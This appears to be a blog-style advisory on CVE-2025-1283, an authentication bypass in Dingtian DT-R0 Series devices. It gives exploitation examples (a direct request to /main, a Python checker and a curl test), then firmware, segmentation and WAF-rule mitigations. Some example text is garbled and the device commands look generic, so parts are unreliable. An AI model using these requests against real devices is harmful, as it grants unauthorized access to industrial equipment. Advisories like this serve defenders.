Dingtian DT-R0 Series, Authentication Bypass, CVE-2025-1283 (Critical)

How the CVE Works:

CVE-2025-1283 is a critical vulnerability in the Dingtian DT-R0 Series that allows attackers to bypass authentication mechanisms by directly navigating to the main page without providing valid credentials. This flaw arises due to improper session management and insufficient validation of user permissions. Attackers can exploit this by crafting specific URLs or manipulating HTTP requests to gain unauthorized access to the system. The vulnerability is classified as critical due to its high impact on confidentiality, integrity, and availability, with a CVSS score of 9.3. The attack vector is network-based, requiring no user interaction or privileges, making it easily exploitable.

DailyCVE Form:

Platform: Dingtian DT-R0 Series
Version: All versions prior to 2.5.1
Vulnerability: Authentication Bypass
Severity: Critical
Date: 02/13/2025

(End of form)

What Undercode Say:

Exploitation:

1. Crafting Malicious URLs: Attackers can bypass login by accessing `/main` or similar endpoints directly.
   Example: `http:///main`
   2. HTTP Request Manipulation: Use tools like Burp Suite to modify requests and bypass authentication.

Example: `GET /main HTTP/1.1`

1. Automated Exploitation: Scripts can be written to scan and exploit vulnerable systems.

Python Example:

import requests
target = "http://<target-ip>/main"
response = requests.get(target)
if response.status_code == 200:
print("Vulnerable! Access granted.")

Protection:

1. Update Firmware: Upgrade to version 2.5.1 or later, which patches the vulnerability.
2. Input Validation: Implement strict session and URL validation to prevent unauthorized access.
3. Network Segmentation: Isolate the DT-R0 Series from untrusted networks.
4. Web Application Firewall (WAF): Deploy a WAF to filter malicious requests.

Example Rule:

SecRule REQUEST_URI "@contains /main" "deny,status:403"

Analytics:

• Exploitability: High (No credentials or user interaction required).
• Impact: Critical (Full system compromise).
• Affected Systems: All DT-R0 Series devices running firmware below 2.5.1.

References:

• ICS-CERT Advisory
• NVD Entry
• Patch Download

Commands:

• Check Firmware Version:

  ssh admin@<target-ip> "show version"
  

• Apply Patch:

  scp patch.bin admin@<target-ip>:/updates/
  ssh admin@<target-ip> "apply-patch /updates/patch.bin"
  

• Test Vulnerability:

  curl -I http://<target-ip>/main
  

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-1283
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